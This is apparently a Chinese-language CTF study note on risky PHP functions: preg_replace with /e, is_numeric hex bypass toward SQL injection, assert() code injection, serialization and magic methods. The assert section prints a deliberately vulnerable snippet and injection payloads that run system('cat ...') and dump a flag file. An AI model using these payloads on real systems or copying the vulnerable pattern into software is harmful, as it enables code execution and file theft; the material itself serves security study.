PHP Function Vulnerabilities
2024-04-21 01:50:24

preg_replace()函数


存在命令执行漏洞

功能介绍:
**preg_replace($pattern, $replacement, $subject);****preg_replace — 执行一个正则表达式的搜索和替换
搜索
subject中匹配pattern的部分, 以replacement****进行替换。

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。

preg_replace漏洞触发有两个前提:

01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just test’);这样是可以执行命令的
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just tesxt’); 或者echo preg_replace(‘/tesxt/e’, ‘phpinfo()’, ‘just test’); 这两种没有匹配上,所以返回值是第三个参数,不会执行命令


is_numeric()函数


功能介绍:
is_numeric()  判断变量是否为数字或数字字符串,不仅检查10进制,16进制是可以。

这个函数本身没有什么问题,但是和mysql结合起来就容易出问题,那是因为is_numeric判断的时候,当碰到16进制数的时候,也会判断成数字,如:

1
echo is_numeric('0x233333');

而在mysql中,插入0x开头的16进制数的时候,会自动转成字符插入:

1
2
3
$s = is_numeric($_GET['s'])?$_GET['s']:0;
$sql="insert into test(type)values($s);";
mysql_query($sql);

代码的本意是想过滤掉字符输入,而当用户恶意地以16进制格式输入时,就容易绕过检查,插入恶意代码,进而可能会导致SQL注入的发生。
因此,要避免这样的漏洞发生,可以考虑采用正则表达式的方法来取代is_numberic函数。


php中有两种比较符号


== 会先将字符串换成相同类型,再作比较,属于弱类型比较
=== 会同时比较字符串的值和类型

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较


assert()函数

存在代码注射漏洞

功能介绍:
判断一个表达式是否成立。返回true or false。
**
PHP 5
assert ( mixed $assertion [, string $description ] ) : bool
PHP 7
assert ( mixed $assertion [, Throwable $exception ] ) : bool
**
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
**当参数为字符串时,会被当作php代码执行。
例如 assert(“phpinfo()”)  <==>   

这个函数容易引起代码注射:
eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

涉及函数:

  • strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

语法:strpos(string,find,start)
参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。

  • file_exists() 函数检查文件或目录是否存在

如果指定的文件或目录存在则返回 true,否则返回 false。


根据上述特性可以对assert第一次出现的位置进行构造:
通过可控变量file传入恶意参数,构造闭合 strpos(),使assert()执行恶意代码

1
2
3
4
5
6
位置:
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
payload:
qwe','abc')===false and system('cat templates/flag.php') and strops('qwe
结果:
assert("strpos('qwe','abc')===false and system('cat templates/flag.php') and strops('qwe', '..') === false") or die("Detected hacking attempt!");

我们也可以对第二处进行构造:
通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码

1
2
3
4
位置:
assert("file_exists('$file')") or die("That file doesn't exist!");
payload:
1') or phpinfo();#

关于此处的#:   #是单行注释,由assert(“phpinfo()”)  <==>     可知,#的作用域仅仅是assert(函数内)
即为注释掉 ‘)
利用:
1’) or print_r(file_get_contents(‘templates/flag.php’));#

相关函数用法区分

file_get_contents() 函数把整个文件读入一个字符串中。
语法:
file_get_contents(path,include_path,context,start,max_length)

参数 描述
path 必需。规定要读取的文件。
include_path 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 “1”。
context 可选。规定文件句柄的环境。
context 是一套可以修改流的行为的选项。若使用 null,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 新加的。

file() 函数把整个文件读入一个数组中。

语法

file(path,include_path,context)

参数 描述
path 必需。规定要读取的文件。
include_path 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 “1”。
context 可选。规定文件句柄的环境。
context 是一套可以修改流的行为的选项。若使用 null,则忽略。

assert与eval的区别
assert把整个字符串参数当php代码执行,eval把合法的php代码执行。

print()
函数print()打印一个值(它的参数),如果字符串成功显示则返回true,否则返回false。

printf()
printf()源于C语言中的printf()。该函数输出格式化的字符串。
语法: printf(format,arg1,arg2,arg++)
format 规定字符串以及如何格式化其中的变量;
arg1, arg2, ++ 等参数将插入到主字符串中的百分号 (%) 符号处。该函数是逐步执行的。在第一个 % 符号中,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

print_r()
print_r()可以把字符串和数字简单地打印出来,而数组则以括起来的键和值得列表形式显示,并以Array开头。如, $a = array(‘name’ => ‘Fred’, ‘age’ => ‘15’, ‘wife’ => ‘Wilma’);

echo
可以一次输出多个值,多个值之间用逗号分隔。echo是语言结构(language construct),而并不是真正的函数,因此不能作为表达式的一部分使用。
_

SQL语句中的函数

CONV()

简单的来说这个函数就是用来进行进制的转换的

CONV(N,from_base,to_base)

N是要转换的数据,from_base是原进制,to_base是目标进制。

如果N是有符号数字,则to_base要以负数的形式提供,否则会将N当作无符号数

substr()

简单来说 这个函数是用来搜索字符串的

 substr(string string,num start,num length);

 string为字符串;

 start为起始位置;

 length为长度。

 mysql中的start是从1开始的,而hibernate中的start是从0开始的。

php魔术方法

魔术方法定义

__construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__toString()__invoke()__set_state()__clone()__debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)。
PS:在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。

魔术方法表示

PHP 将所有以 (两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 为前缀。

序列化和反序列化

序列化:serialize()来返回一个包含字节流的字符串来表示

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()
如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
__sleep() 方法常用于提交未提交的数据,或类似的清理操作。

反序列化函数:unserialize()函数能够重新把字符串变回php原来的值

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。


##### 序列化各个量表示的含义
1
2
3
4
5
6
7
8
9
10
11
序列化函数serialize()
序列化举例说明:
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符
ctf 类名
3 代表三个属性
s代表字符串
4代表属性名长度
flag属性名
s:13:"flag{abedyui}" 字符串 属性值长度 属性值